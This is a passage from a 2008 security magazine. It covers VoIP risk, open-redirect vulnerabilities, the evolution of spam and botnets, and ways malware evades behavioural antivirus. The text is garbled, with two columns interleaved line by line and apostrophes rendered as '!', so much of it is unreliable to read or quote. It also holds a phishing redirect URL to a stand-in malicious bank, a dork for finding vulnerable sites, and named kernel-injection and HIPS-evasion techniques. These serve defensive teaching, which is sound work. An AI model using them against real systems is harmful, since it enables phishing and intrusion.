to VoIP based networks as they were in older, tify high risk areas with the highest probability
TDM based networks. As a matter of fact, it is of impact on the business objectives. Then the
easier to perpetrate this attack on VoIP PBX appropriate security measures can be imple-
since it could be fully automated. VoIP net- mented to mitigate these risk areas.
works could be used as entry points to the en-
terprise networks. For example, if a VoIP soft Regardless of the type of the risks identified,
client running on an employee laptop is com- the deployment of VoIP-specific security infra-
promised, it could become a gateway for at- structure architecture should be considered
tacking the entire corporate data infrastruc- which includes:
ture.

www.insecuremag.com 40
Prevention: This step enables proactive iden- People: Education is a critical to the success
tification and fixing of VoIP-specific vulnerabili- of any security measures. Since VoIP is re-
ties before they become a problem for end- placing the existing voice solutions the end-
users. Periodic or, where required, continuous users, telecommunication and IT groups
vulnerability assessments should become part should be aware of potential security threats
of the VoIP security procedures and proc- that this new technology would bring. The
esses. education process could be delivered by in-
ternal security groups or external organiza-
Protection: If there is a threat to the network, tions offering courses.
this step provides protection of the VoIP serv-
ices from any threats during their life cycle. Summary
Deploying a VoIP-aware, multi-layer security
infrastructure that provides both perimeter as Basic VoIP characteristics such as its real-
well as internal network protection is recom- time nature and stringent QoS requirements
mended. In most cases it will consist of a mean that a seemingly benign attack on a
number of security devices and host-based data network, can significantly disrupt VoIP
applications to protect VoIP networks such as services. That is why having a solid VoIP se-
Session Border Controllers (SBCs), VoIP curity infrastructure is very important.
Network Intrusion Prevention Systems (VIPS), Risk assessment is an important first step in
VoIP Network Access Control (VNAC), anti- building that infrastructure. At the same time,
SPIT, VoIP DoS defenses, VoIP Network In- IT organizations are recognizing that con-
trusion Detection Systems (VIDS) and encryp- stantly changing business objectives, new ap-
tion engines. plications and technologies, limited budgets
and the proliferation of cybersecurity threats
Processes: The existing security related proc- requires that they focus on the highest risk ar-
esses should be reviewed and modified to ac- eas first. This includes ensuring that meas-
commodate the specific requirements of VoIP ures are in place to minimize the impact of
networks. Also, the compliance and auditing VoIP security breaches on the enterprises.
processes should include VoIP as a compo-
nent. For example, only certified VoIP soft- VoIP should be included as a part of normal
client should be used on the network or phone risk assessment analysis – especially for or-
conversations that are confidential should only ganizations in regulated industries (banking,
be allowed on encrypted links to prevent financial services, healthcare, etc.). The steps
eavesdropping. GLBA compliance could re- required to secure VoIP networks go beyond
quire providing documented vulnerability as- what has been implemented on data networks
sessment results and mitigation steps under- and require VoIP specific security infrastruc-
taken to address the discovered vulnerabili- ture and processes.
ties.

Bogdan Materna brings over fifteen years experience in product development and building carrier grade man-
agement and security products to VoIPshield. Prior to founding VoIPshield, Bogdan was a founder and CTO of
Linmor Technologies, a public company, where his teams designed and built performance and management
products for large carriers including AT&T and MCI. Bogdan also held various engineering and research posi-
tions at Nortel Networks, Microtel Pacific Research and University of Ottawa, and holds a number of patents.
Bogdan is a sought-after author and speaker on the subject of VoIP security, and is an active member of the
VoIP Security Alliance.

www.insecuremag.com 41
An open redirect is a vulnerability that exists when a script allows redirection
to an external site by directly calling a specific URL in an unfiltered,
unmanaged fashion, which could be used to redirect victims to unintended,
malicious web sites.

Often this issue exists as a function of incor- and those with malicious intent, particularly
rect input validation, but sadly it is often the when an URL is long.
result of a “by design” feature coded into an
application to redirect users. This is by no Vulnerability details
means a new issue, see CERT: Vulnerability in
Web Redirectors from March 2003. An open redirect is a very simple vulnerability
(tinyurl.com/3qg7z6) and cause for much consternation, for two
reasons. First, it is so easily avoided; the “by
This is dangerous behavior given that a nor- design” description is inexcusable. If site op-
mal user who visits a trusted site may be redi- erators must absolutely use this method, the
rected to a malicious one without noticing any use of intermediary pages advising users of
changes. If the malicious site!s appearance is the redirection is imperative. Alternatively, al-
consistent with the original one, the user will low redirection only to specifically white-listed
likely fail to take note and fall victim to phish- sites. Second, this vulnerability is one so eas-
ing. An alternate attack via an open redirect ily exploited to take advantage of the innocent.
could also redirect victims to sites that launch Consider the following arbitrary, but benign
browser exploits or drive-by malware. There- and “by design” URL:
fore, open redirect vulnerabilities are urgent http://www.goodnationalbank.com/partners/pa
when exhibited on financial or other high-value ge.redir?target=http://www.fdic.gov/
web sites. Given the plethora of ways to ob-
fuscate malicious URLs, it is often difficult to This is a well-intended URL that takes users to
detect differences between known good URLs a valuable resource.

www.insecuremag.com 43
Sadly, the same URL can be manipulated to CVE gives it a CVSS v2 Base score of 4.3.
take users anywhere. Were I a malicious (tinyurl.com/3ntrq4)
phisher, I could take the source code from
http://www.goodnationalbank.com and create Google recently fixed an open redirect vulner-
a fake bank site; we!ll call it the ability that allowed redirection from
evilnationalbank.com. I can then target email Google.com to any other site including those
to assumed or known users of the Good Na- with malicious intent. Again redirect URLs are
tional Bank with the following URL: usually distributed via e-mail and often send
http://www.goodnationalbank.com/partners/pa people to sites with that are drive-by malware
ge.redir?target=http://evilnationalbank.com enabled with the intent of compromising the
visitor's computer. Also at the time of writing
To the less wary, the URL looks reasonable; Google was working to fix a redirect vulner-
with the right mix of social engineering, fear ability related to the site of its DoubleClick on-
mongering, and elegant code fakery, innocent line advertising unit.
users could be easily duped – all because
some well intended site designer forgot to lock "Open URL redirection is an issue we take
down page.redir?target= to allow only ap- very seriously. As we become aware of open
proved partners. The impact of this fundamen- URL redirectors on google.com, we actively
tally simple attack is profound for both con- work to close them. We are also aware of redi-
sumers and businesses. Turn them off or tune rectors using doubleclick.com and are working
them up; they will be exploited. “Open redi- to address this issue," a Google spokesman
rects are – if anything – more pervasive and said. (tinyurl.com/6agzdd)
even easier for fraudsters to locate and ex-
ploit.” (http://tinyurl.com/rqcth) Alex Eckelberry, on the Sunbelt Blog
(sunbeltblog.blogspot.com), recently scolded
Real-world examples Dogpile for their open redirect, in use by mal-
ware distributors as this was being written.
Bitrix Site Manager 6.5 from(bitrixsoft.com) is http://www.dogpile.com/clickserver/_iceUrlFlag
an example of an application that includes =1?rawURL=http://sunbeltsoftware.com&0=
open redirection by design. A quick Google- There are endless additional examples. But
dork will uncover a number of sites utilizing these, given their high profile status, really
the script in an unmanaged fashion: bring the issue to the forefront.
inurl:/bitrix/redirect.php. The flaw exists be-
cause the application does not validate the Solutions
"goto" variable upon submission to the
redirect.php script. Thus, an attacker could At BlueHat 7, Billy Rios and Nitesh Dhanjani,
utilize the script to cause redirection to a mali- in their presentation Bad Sushi: Beating
cious site in a specially crafted URL sent to Phishers at Their Own Game
intended victims. Even SecurityLab (www.net-security.org/article.php?id=1110),
(en.securitylab.ru) remains at risk at the time described the battle against phishing as a
of writing, although they and the vendor have game of whack-a-mole. Better management of
both been advised. redirect scripts is a very simple solution to
http://en.securitylab.ru/bitrix/redirect.php?even prevent one phishing attack vector.
t1=demo_out&event2=sm_demo&event3=pde
mo&goto=http://www.xssed.com/news/29/The To prevent phishing attacks, or redirection to
_dangers_of_Redirect_vulnerabilities/ browser attackers and malware hosts, site
administrators must lock down their redirects.
The vendor was initially responsive, but indi- Again, if site operators must absolutely use
cated that no fix was imminent, again provid- redirection, the use of intermediary pages ad-
ing the classic “by design” response. When vising users of the redirection is imperative.
prompted to consider implementing a “white-
list” process rather than an open posture the Alternatively, allow redirection only to specifi-
vendor did indicate that they may do so in the cally white-listed sites. For example, adminis-
future. While some vendors don!t rate open trators could limit linking to external sites only
redirects worthy of a vulnerability advisory, when a user actually clicks on the link while on

www.insecuremag.com 44
the main site, thus preventing links in e-mail or ability to disable it. Consider this example of a
instant messages from working. quick fix for a critical open redirect vulnerabil-
ity. In July 2005 Outlook Web Access suffered
Another solution includes limiting which exter- from an open redirect where it was “possible
nal sites a redirect link can be used for. In- to inject a URL into the OWA logon mecha-
stead of using actual Web addresses in redi- nism so that the OWA logon page redirects
rect links, consider a keyword that refers to a users to the injected URL when the users log
database with links. (tinyurl.com/3oo3ac) on.” Siegfried Weber wrote the following to be
included in logon.asp, immediately after the
Finally, ensure that the redirect code you!re block that begins if redirectPath =, to prevent
utilizing allows lockdown functionality or the malicious redirection.

Code to Prevent OWA Users from Being Redirected


szSecure = Request.ServerVariables("SERVER_PORT_SECURE")
szServer = Request.ServerVariables("SERVER_NAME")
Dim szRedirectURL
szScheme = Scheme_HTTPS
If szSecure = "0" Then
szScheme = Scheme_HTTP
szRedirectURL = szScheme & szServer
End If
szRedirectURL = LCase(szRedirectURL)
redirectPath = LCase(redirectPath)
If InStr(1, redirectPath, szRedirectURL) = 0 Then
redirectPath = szScheme & szServer & "/exchange/"
End If

(windowsitpro.com/Files/04/46317/Listing_01.txt)

Any redirect code should be developed in a are not PCI compliant. Developers, develop-
fashion that doesn!t require a bootstrapped ment management, and compliance officers
add-on to protect users. Inclusion of preventa- take heed.
tive measures, as shown in the above code
sample, is conceptually simple and must be Conclusion
considered a requirement. Repair of open re-
directs at the source may require design The fact that web sites continue to leave open
change; developers should plan accordingly. redirects unfiltered, with the excuse that it!s
“by design”, is simply unacceptable. The risk
Open redirects and PCI DSS to consumers, particularly in the context of
high profile sites, is extraordinary. Restrict re-
For those sites with PCI compliance to con- direct code to only URLs that are required at a
sider, remember that the Common Vulnerabil- minimum, or disallow redirection altogether;
ity Scoring System (CVSS) score for open re- consumers deserve no less.
direct is typically 4.3 or higher. PCI DSS re-
quires that you don't have vulnerabilities rated Acknowledgments
at 4.0 or above. Thus, as we noted in Real-
world Examples, the implications are simple. If Steven M. Christey, (cve.mitre.org), for inspira-
your site is required to meet PCI DSS stan- tion and content suggestions.
dards and it allows open redirection, then you

Russ McRee, GCIH, GCFA, CISSP is a security analyst / researcher working in the Seattle area. He writes
toolsmith, a monthly column in the ISSA Journal, has written for numerous other publications, and speaks
regularly; past events including FIRST, RAID, SecureWorld, and ISSA gatherings. Russ maintains
holisticinfosec.org and opines at holisticinfosec.blogspot.com.

www.insecuremag.com 45
Second International Symposium on Human Aspects of Information
Security & Assurance
8 July-10 July 2008 - University of Plymouth
www.haisa.org

Black Hat USA 2008 Briefings & Training


2 August-7 August 2008 - Caesars Palace, Las Vegas, USA
www.blackhat.com

Breakaway 2008
5 August-7 August 2008 - Gaylord Palms Resort and Convention Center, Orlando, Florida
breakaway.comptia.org

NETWAYS Nagios Conference 2008


11 September-12 September 2008 - Nuremberg, Germany
www.netways.de/nagios_konferenz/

IT Security World 2008 Conference & Expo


13 September-18 September 2008 - San Francisco Marriott, San Francisco, USA
www.misti.com/itsecurityworld

VB2008
1 October-3 October 2008 - The Westin Ottawa, Canada
www.virusbtn.com/conference/vb2008/

www.insecuremag.com 46
This year marks the 30th anniversary of what is most widely recognized
as the first spam message sent over ARPANET by Gary Thuerk. It is a time
to become reflective on how Internet threats have evolved over that time.

No longer are cyber criminals looking to es- Center. Compare that to a 73 percent preva-
tablish notoriety amongst their peers through lence rate in June, 2006 and over 90 percent
denial of service (DoS) attacks. Their motives today.
have become much more criminal and finan-
cially motivated, and their tactics much more In today!s Internet ecosystem, when people
covert. In this article, we will discuss the evo- think of spam and other threats their thoughts
lution, mostly over the past five years, from immediately turn to botnets, remotely con-
the email borne threat to the Web borne threat trolled zombie computers used for purposes
as well as the convergence of the two using such as spam and Trojan malware distribu-
an ever increasing arsenal of tactics. tion. They are also used as large distributed
computing environments containing enough
Was Thuerk a marketing genius well ahead of computer power to break security ciphers that
his time or someone who should be vilified for would take centuries for even the most power-
being a trendsetter leading to today!s Internet ful single supercomputers.
pollution? The answer to that question likely
lies somewhere in the middle. If he hadn!t Brief history of botnets
popularized the idea of using email for com-
mercial purposes, someone else surely would What is origin of the zombie computer or bot?
have. Thuerk!s original spam message set the Used initially as a method to attack and take
stage for a market where 66 percent of all over IRC channels, bots were largely used as
email traffic in February 2004 was spam ac- a vehicle for their owner to gain bragging
cording to the MX Logic Threat Operations rights amongst friends.

www.insecuremag.com 47
Next stage bots were organized into small ar- members was done via IRC. Being a standard
mies that would be used to launch distributed protocol, it was also easy for network owners
denial of service (DDoS) attacks against sin- to identify and shut down this traffic to cut off
gle targets, again mostly for recognition. bots from their master host or redirect that
Shortly afterward, botnets evolved to extort traffic to honeypots for research purposes.
information for cyber criminals! financial gain.
This was done via phishing as well as Trojan Continuing to use IRC was not an effective
downloads that would install malware such as model for cyber criminals to ensure long term
screenshot takers and keyloggers which success. If botnets were to be truly sustain-
would upload potentially sensitive, confidential able, hackers needed to find different ways to
information to a Web site or send it directly to build a better botnet by introducing more re-
a hacker over encrypted channels for sale in dundancy and resiliency into their networks
the underground market. while simultaneously reducing the ability for
their botnet traffic to be detected. Redundancy
Botnet command and control techniques have was accomplished in part by piggybacking on
needed to evolve in order to avoid identifica- existing peer-to-peer (P2P) networks such as
tion by intrusion detection and prevention sys- eDonkey where all of the nodes on the botnet
tems (IDS/IPS) and network service providers. were interconnected. Removal of a single
Early bot networks were controlled by single command and control host from the network
hosts who, when shut down provided a single only caused the network to have to quickly re-
point of failure for the entire network. Most of focus on a new master node. In many cases,
the early communication between the com- there were a series of master nodes so that
mand and control host and individual botnet the network hardly ever skipped a beat.

Continuing to use IRC was not an effective model for cyber criminals to
ensure long term success.

In the vein of piggybacking on existing tech- suspecting victims via email attachments to a
nologies, botnets have more recently begun “pull” based model whereby users click a link
using techniques like fast flux and double flux in an email, instant message, social network-
which ride on existing DNS infrastructures to ing site comment, etc. which will either direct
rapidly rotate domain resolution between or redirect them to a Web site serving up
many different IP addresses and authoritative malware of many different forms via
DNS servers; in many cases as frequently as JavaScript and iframes.
every couple of minutes. This has made fo-
rensics and identification of infected hosts dif- The push based model largely gave way to
ficult for service providers as they are working the pull based model as the latter affords
against constantly moving targets. By the time much more flexibility for cyber criminals. With
they start looking for an infection on one of the pull based model hackers have deployed
their network machines, the bot has gone highly successful efforts to stay ahead of the
dormant and a malware infected domain is anti-virus (AV) companies by regularly updat-
resolving to a different set of IP addresses ing and changing their malware code and
through a different set of DNS servers. packers to change the malware!s signature.
This has given AV vendors a run for their
Migration patterns money as they are constantly attempting to
develop new signatures and additional proac-
Internet threats are constantly evolving and tive detection technologies in order to keep
are becoming increasingly difficult to detect, pace. Even more recently we have seen an
identify, and clean - sometimes even to the increase in infection of legitimate Web sites.
trained eye. Over the past two years alone we This introduces another new dynamic to the
have seen a drastic evolution in how malware threat landscape as this vector greatly re-
is distributed. Malware delivery has largely duces the need for effective social engineer-
moved from a “push” based infection model ing as a lure to invite users to visit a Web site
where a static piece of malware is sent to un- to get infected.

www.insecuremag.com 48
Drive-by pharming and other recent tactics As botnets themselves have evolved over the
past several years, so has the nature of spam.
Another threat that garnered more attention Spam has undergone at least the same num-
recently is known as either drive-by pharming ber of transformations over the past several
or a DNS rebinding attack. These attacks tar- years as have their botnet counterparts. The
get network devices like routers that can be importance of effective social engineering and
administered remotely and still use their the ability to outsmart the spam filters have
manufacturer default password to authenti- become apparent as the key drivers behind
cate. These routers, once compromised, have the success of most cyber crime campaigns.
their DNS settings modified such that network
traffic sent through them is resolved by a If you hearken back to 2003 and early 2004,
rogue DNS server. This allows an attacker to most phishing campaigns were easily identi-
potentially redirect your Web traffic intended fied by their lack of polish in mimicking the
for a bank or financial institution to a mali- brand they were targeting and the number of
cious, look-alike Web site and capture login grammatical errors they contained. As such,
credentials when attempting to login. This heuristic based techniques were very effective
technique is even more effective than phishing against these types of messages. Sometimes,
because one of the primary fingerprints of a the hardest part in the creation of heuristics
phish, the phony URL in the browser!s ad- was identifying all of the ways that the scam-
dress bar, will actually be that of the intended mer was going to butcher the language their
Web site. scam was written in.

At its peak in April 2007 image spam accounted for 40 percent of all spam email traffic.

The rise and fall of image based spam character recognition (OCR) methods for the
purposes of heuristic analysis. At its peak in
Late 2005 started the wide scale onset and April 2007 image spam accounted for 40 per-
distribution of image based spam. Image cent of all spam email traffic on average seen
based spam was an email that rendered an by the MX Logic Threat Operations Center
image within the message body instead of (some days peaked over 50 percent), but also
plain text. The spam image was either linked accounted for over 75 percent of the spam
to or downloaded remotely when the message bandwidth. Shortly after image spam reached
was viewed. Spam images started off touting its peak volumes it very quickly died off as ad-
fake Rolex watches then moved into pill based vancements in detection technology more
advertisements and next migrated to stock than adequately caught up with the technique.
pump and dump scams. This was an early By October 2007 image based spam ac-
technique that did not last long initially and counted for less than 5 percent of all spam
then resurfaced as a last ditch attempt to put a traffic, a trend which continues today.
different twist on the technique by linking to
free image hosting services like Photobucket Not to be deterred, the decline in image spam
and Flickr. was quickly replaced by PDF spam, spam
contained within a PDF attachment. These
More commonly the image was sent as an at- spam PDFs contained either the same images
tachment to the email. Image spam introduced that were being used within image based
new dynamics and capacity challenges into spam or plain text, both methods typically
message processing and filtering because not pushed stock pump and dump scams. PDF
only were these messages initially difficult to spam only lasted for a brief several weeks, but
catch because the spam content was now created system resource challenges above
contained fully within an image, but the size of and beyond those that image spam intro-
the emails also increased several-fold as a duced. Now not only did service providers
result. Spammers also eventually devised continue to have to deal with the same band-
ways to modify the rendering of the image width issues associated with image based
making it impossible to analyze using optical spam, but they now also had to include the

www.insecuremag.com 49
additional processing cycles required to scan tail that criminals have been using to their ad-
these attachments for malware infection. vantage since well before the Internet. Up until
recently, exploiting those human vulnerabili-
Conclusion ties required crafty social engineering, an en-
ticing lure that made us truly want to open the
Although the push based threat is certainly not attachment or click the link that was sent to
gone, the days of email borne infections to the us. Sometimes the lure was so good that even
scale of what we saw with Sobig.F in 2004 those who are Internet savvy didn!t realize
and the Sober worm in 2005 are behind us as they were duped until it was too late. With the
cyber criminals have largely moved to more increase in exploits occurring further away
stealthy methods of infection, methods that do from the endpoints and out to the network
not even require deliberate interaction by the edge and onto legitimate Web sites, the typi-
end user. cal mantra of making sure users are educated
loses some of its luster as well. Technology,
The compromise of legitimate Web sites, especially at the service provider layer, needs
routers with default passwords, unsecured to be more robust, monitor user behavior, and
wireless networks, and the innate human de- be used to protect the network against risk
sire to trust, have created a dangerous cock- across a variety of network protocols.

Sam Masiello oversees the MX Logic Threat Operations Center. In this role, he represents MX Logic!s primary
resource for monitoring and predicting threat trends, offering insights to customers about potential threat vul-
nerabilities, and recommending new technologies to enhance email and Web security. Masiello has 18 years
of experience in email and messaging systems that includes seven years in network and applications security
and 12 years in software development. He received his Bachelor of Science degree with honors from the State
University of New York at Buffalo. Masiello writes the MX Logic IT Security Blog
(www.mxlogic.com/itsecurityblog/index.cfm) and can be contacted at sam@mxlogic.com.

www.insecuremag.com 50
This article is an attempt to present a generalized model of how behavioral AV
protection can be bypassed. The model is illustrated with some techniques
used in genuine malware. Most of the techniques have been found in malware
which successfully bypassed KAV7 Proactive Defense Module (PDM) in 2007.

The malicious techniques covered are now all Since the KAV7 PDM subsystem is a classic
out of date, at least, they are no longer effec- HIPS, the problems discussed and the gen-
tive against KAV, and some of them are very eral conclusions drawn are applicable to any
old generally speaking. This article deliber- HIPS protection, and to a lesser degree - to
ately does not disclose any 0-day or recent any protection system in general.
techniques and its goal is to provide an over-
view of an attacker's approach in a way that In order to build good protection, it is essential
will be of interest to those who develop protec- to use an accurate model of how protection
tion while not giving any useful hints to mali- can be compromised. Any protection that is a
cious code kiddies. composite of a technical engine and an ana-
lytical engine can be bypassed by exploiting a
KAV7 Proactive Defense is live behavioral weakness in either the analytical engine or in
protection. This type of protection is more the technical engine. Let!s call the two ap-
commonly known as 'HIPS' (Host Intrusion proaches outwitting and outmaneuvering,
Prevention System). The basic HIPS function respectively.
is to track the action programs being executed
in a live operating system in real time, assess- Additionally, I'd like to mention a third ap-
ing the probability that the action is malicious proach which is not necessarily distinct from
and acting upon the verdict. The results in- the previous two, but which is independent in
clude blocking the action labeled malicious, terms of goals and results of its application:
rolling back any changes made earlier by the overpowering.
program, alerting the user, and so forth.

www.insecuremag.com 51
These are the three "O!s of overriding a pro- The attacker came from exactly the opposite
tection system: side. We can imagine him thinking: “I am try-
ing to install the "malware.sys! driver again
1. Outwitting protection and again and it still doesn!t work! Why am I
2. Outmaneuvering protection actually calling it "malware.sys!? Is the .sys
3. Overpowering protection extension really necessary? The documenta-
tion says nothing, so there is a chance…
In reality, any technique actually used to by- What if I name the driver "poof!? Let!s try it!”
pass protection relies on a combination of the
approaches listed above, with outwitting being Example 2
the most dramatic.
A HIPS will generally be alerted by code injec-
1. Outwitting Protection tion via WriteProcessMemory. Therefore an
attacker attempts to WriteProcessMemory to a
Outwitting is my favorite approach as it shows memory location which lacks the EXECUTA-
some real smarts on the part of the attacker, BLE flag – and succeeds: no alert from HIPS.
and those who develop the protection which
has been outwitted may be left extremely con- What happens here? Whoever developed the
fused. The approach doesn!t require either in- protection was probably aiming to reduce the
depth programming knowledge or effort in number of unnecessary hook procedure calls,
terms of tracking fresh vulnerabilities – what assuming that writing to non-EXECUTABLE
the attacker needs is extensive knowledge of memory can never lead to code execution. On
OS architecture, a certain intelligence and a the other hand, an attacker guessed (or no-
willingness to experiment. The idea is to un- ticed) it might be possible to do this, did some
derstand how people think, after all, those research, and then looked for a way to exe-
who develop protection are people, aren't cute code in a non-EXECUTABLE memory
they? And then to guess at where they might location.
have gone wrong or even simply forgotten to
plan for a certain combination of actions. Example 3

Example 1 A smart HIPS considers chains of code not


single code strings as actions. For instance, a
A HIPS will be alerted by any attempt to install code pattern such as “copying process!s own
a driver. An attacker creates a driver without a file to the system directory + creating a
.sys extension and successfully installs it us- StartUp link” (i.e. sequential within a single
ing a standard API. This is a very old tech- process) can be considered a malicious ac-
nique, but it's highly illustrative. tion, whereas the same two actions performed
by two different processes can hardly be con-
What happens here? Whoever developed the sidered suspicious. HIPS logic is more or less
protection probably believed it was essential clear to a careful observer, i.e. you don!t have
for a driver to be a .sys-extended file, without to actually have any knowledge of protection
even realizing that he held this belief. The fact architecture in order to get an idea of how pro-
that a .sys extension is essential for a driver to tection probably works. The attacker thinks
be loaded isn!t stated explicitly in any docu- about this, and his next idea is - equally evi-
mentation. The belief is no more than a para- dent - to distribute malicious functionality
sitic mental pattern (possibly rooted in rudi- among a few processes. Consequently, be-
mentary MS-DOS thinking) which distorted the havioral obfuscation takes place, as is shown
developer!s logic. by the following simple technique:

CreateProcess (…self-copy with a specific command-line argument)


//..the copy does part of work
WaitForSingleObject (…signal from the self-copy)
//…the rest of the work is completed.

www.insecuremag.com 52
A more advanced implementation of the same 2. Outmaneuvering protection
technique consists in incorporating kernel
modules and injected code threads into a be- In this section we will look at an approach
havior distribution scheme. which bypasses protection by using technical
means, i.e a specific API or an API called in a
Example 4 specific way, which is not covered by the pro-
tection.
Besides controlling API function calls as they
are, an effective HIPS also considers function This approach is closely tied to the previous
arguments. That is, when a file-related func- one – actually there is no distinct difference
tion call takes place, the HIPS takes the "path! between the two from an attacker's viewpoint.
argument into account. An attacker can exploit However, I would draw the following distinc-
this by crafting a path to the file he wants to tion: "outwitting! relates to attacking the ana-
approach – the path will be transparent to the lytical component of a protection system,
OS, but not to a human. while "outmaneuvering! relates to attacking the
technical component.
The result is that the HIPS encounters a func-
tion call with an unforeseen argument and lets Example 1
it pass. This is a widely used trick. Among the
most recent cases, it has been utilized in Utilization of the CmRegisterCallback(Ex) rou-
Rustock.C and made it possible for the mal- tine allows an attacker to legally install registry
ware to bypass the driver installation checks hooks which would block access to certain
in KAV7 Proactive Defense. Since the prob- registry keys. Since it!s a well-documented
lem is still challenging, I won!t go into the routine, the only problem with it is that those
details of the trick. who develop protection were unaware of its
functionality (and therefore failed to monitor it)
1a. Using a protection!s exclusions list until a malicious case was encountered.

This approach is actually a sub-approach of 1. Example 2


It is based on the following idea: why hack
through closed doors if it's possible to simply A couple of years ago, malware used the now
use open ones? Specifically, any protection well-known trick of getting into the kernel via
maintains a list of exclusions to which the pro- /device/PhysicalMemory, since some HIPS
tection rules do not apply or apply to a lesser failed to monitor the appropriate execution
degree: a white-list, a "trusted applications! list path.
or something similar, either configurable or
hard-coded. The approach used by the mali- Example 3
cious application is to pretend to be an appli-
cation which is white-listed or considered Calling ZwSystemDebugControl with the
trusted for some reason, or to piggy back on a _SYSDBG_COMMAND parameter of 9 al-
white-listed application. lowed easy code injection into kernel space
from user space until most HIPS started to
Example 1 safeguard this API. Microsoft also blocked this
functionality in subsequent versions of Win-
A malicious application inserts a downloader dows (starting from Windows 2003).
thread into a trusted application (say,
explorer.exe) by means of the QueueUserApc Example 4
function (or the corresponding KeIn-
sertQueueApc, if calling from ring0). In this In this case, the attacker is getting into the
example, anti-code injection could be by- kernel by exploiting a critical Windows critical
passed via an unexpected technical approach vulnerability. This has been specially included
(see Overpowering protection), while firewall for any users who have still not accepted how
protection or anti-downloader heuristics could necessary it is to ensure that Windows is fully
be bypassed by attaching execution to a patched.
white-listed application.

www.insecuremag.com 53
DeviceIOControl called for the “\\.\shadow” This approach of "escaping the Matrix! is really
device and with the "magic! IOCTL 141043h, a big gun which is a considerable problem to
would make code injection into the kernel from implement, something the researchers at-
user space as easy as in the previous exam- tempting to develop proof of concept imple-
ple. The corresponding vulnerability disclosure mentations are keeping under the carpet. A
is dated mid-2006; however in mid-2007 this more common goal for a malware writer is to
approach was still – more or less – in use by get into the kernel, or to outmaneuver protec-
malware writers. tion, by any means.

3. Overpowering protection Since any HIPS protection blocks attempts to


install a driver, there is no straightforward way
This is the approach all rootkits are based for malware to get into the kernel. Therefore
upon. malware writers end up using undocumented
Windows APIs and exploiting Windows vul-
The basic idea behind gaining power is that a nerabilities.
stronger entity can fully control a weaker one.
In terms of protection vs. an attacker it means Examples 3 and 4 from the "Outmaneuvering
that malware which is more powerful than the protection! section are a case in point here.
protection under attack can simply disable the
protection. Just to mention, both techniques illustrating
this section (plus one more technique) have
What does "being more powerful! mean? In been implemented in
short, it means residing in the more basic (hi- Trojan-Proxy.Win32.Wopla. The techniques
erarchically) level of a system that contains made these malicious programs relatively
both the protection and an attacker and which successful at overpowering HIPS: if one ap-
defines rules for them both. The lower the proach failed (i.e due to the OS patch in-
level, the fewer binding rules apply to it, and stalled), then there was another tool to hack
the more impact it has on the levels above it. into the kernel at hand.

If the "system! is an operating system, then Know yourself: a protection developer!s


ring0 is more basic than ring3. Years ago, we errors
started to see malware gradually moving to
the kernel and anti-malware protection sys- Now if we think of reasons as to why this or
tems followed suit. If the "system! is computer that bypassing approach has been success-
software in general, then pre-OS code, BIOS, fully implemented, three fundamental prob-
MBR and so on, is more basic than an OS – lems with the development of protection archi-
and we're currently seeing malware escaping tecture emerge. These in turn correspond to
the OS into the MBR right now. If the "system! three problems with the way that those who
refers to the computer in general, then hard- develop protection think.
ware is more basic then software – and there
have recently been conceptual investigations 1. Lack of unconventional thinking
which claim to succeed in installing malicious 2. Lack of system internals knowledge
code into hardware, and so it goes. 3. Lack of fundamental approach.

One interesting thing about this model is that if These are the three "L!s which lead to losses
malware somehow succeeds to escape the in the security arms race.
system that contains both the malware and
protection, and slip into an even more basic The examples in the section "outwitting protec-
system, the malware will become completely tion! contain a common thread: the weak-
"invisible! to the protection, and fundamentally nesses exploited seem to be rooted in pat-
unreachable by the protection until the latter is terns of belief or thinking among those who
able to penetrate the same system. develop protection – patterns which fail to cor-
Virtualization-based malware (which is still respond to the real state of things. Excessive
only a concept and not ITW) is based on this stereotyped thinking, or in other words, mak-
approach. ing the assumption that things work in some

www.insecuremag.com 54
particular way, (when actually they don't), or oper will be overwhelmed, and miss significant
don!t have to seems to be at the root of the points.
problem. The obvious solution to this problem
for anyone who develops protection to culti- Present situation
vate another mindset: to be all-questioning,
self-inspecting and clear. Tracking one!s think- The big problem in the modern AV industry is
ing so that one only relies on what is known that in the arms race, the attackers tend to
from practice or is at least explicitly stated in act, while the protectors are used to reacting,
documentation, rather than relying on what with the ball being mostly on the bad guys!
appears to be self-evident, is a must. side. Specifically, those who develop protec-
tion tend to apply patches to solve a certain
We should stop the self-justifying victim think- problem, instead of re-considering the whole
ing which runs along the lines of “It!s an arms architectural approach which led to the
race, and malware will always find new tech- breach.
nical means of bypassing protection”. Al-
though this is a fact, let!s look at some of the My thesis throughout this article is that by
reasons for failure. It seems that the examples learning an attacker's ways, those who de-
given in the "outmaneuvering protection! sec- velop protection can use this knowledge or
tion derive either from a protection architect!s mindset to become proactive rather than reac-
lack of knowledge of system internals or from tive: a more aggressive attitude. A protector
his lack of a fundamental approach. can figure out the attacker's next X steps and
consider them in advance, thus getting ahead
The first issue is pretty clear: if someone de- of the attacker and winning time and defining
veloping protection isn!t aware, for instance, of the rules. Moreover, a protector can try to un-
an API providing a legal registry hooking pos- derstand the fundamental patterns of an at-
sibility, then there is an attacker who is. And tacker!s thinking, and reconsider the whole
the latter will use the knowledge maliciously. protection scheme with this observation in
But even for an expert in OS internals, taking mind. This, to my mind, is the only way to
ALL the possible high-level ways of doing break out of the vicious cycle where the pro-
things into consideration is probably impossi- tector is the everlasting victim of the mocking
ble. The most important idea for good protec- attacker.
tion architecture is to get as fundamental as
possible, sticking to the "roots! of system exe- Some say that the best security experts are
cution paths instead of chopping "leaves!. former hackers. Others believe that ex-
hackers can never be trusted in the same way
Here is a simplistic illustration: high-level Win- as those researchers who have never been on
dows APIs rely on a much smaller list of sys- “the dark side”. This is not the place to discuss
tem APIs. Finally, there is a list of undocu- these beliefs in depth, however, personally, I
mented functions which provide certain basic believe that the more deeply you can under-
functionality to all the high-level APIs that rely stand your enemy, the better. In order to
on them. It's likely that there is a common achieve this goal, any means are appropriate
code or a data structure for file access APIs, as long as you retain your personal ethics.
registry access APIs, process access APIs
and so on. Why not kill all the birds with one It's not necessary for those who develop pro-
stone by monitoring this shared area instead tection systems to become attackers them-
of a long list of individual end-functions? selves. It's essential to attempt to think as an
attacker, to walk in his or her shoes, to ob-
If this isn't done, the result is almost always a serve the attackers! society or even to mix in it
developer with a superficial approach rushing or, at the very least, to conduct a serious
his/her way through an enormous heap of analysis of the attackers! ways. Well defense,
higher-level approaches that have to be con- it's time to get the ball in your court and take
sidered and monitored. The result: the devel- control!

Alisa Shevchenko (alisa.sh) is a malware consultant and author for Kaspersky Lab (kaspersky.com).

www.insecuremag.com 55
IT security is complex. There are hundreds of different technologies com-
monly deployed to safeguard data. Every year new security threats emerge,
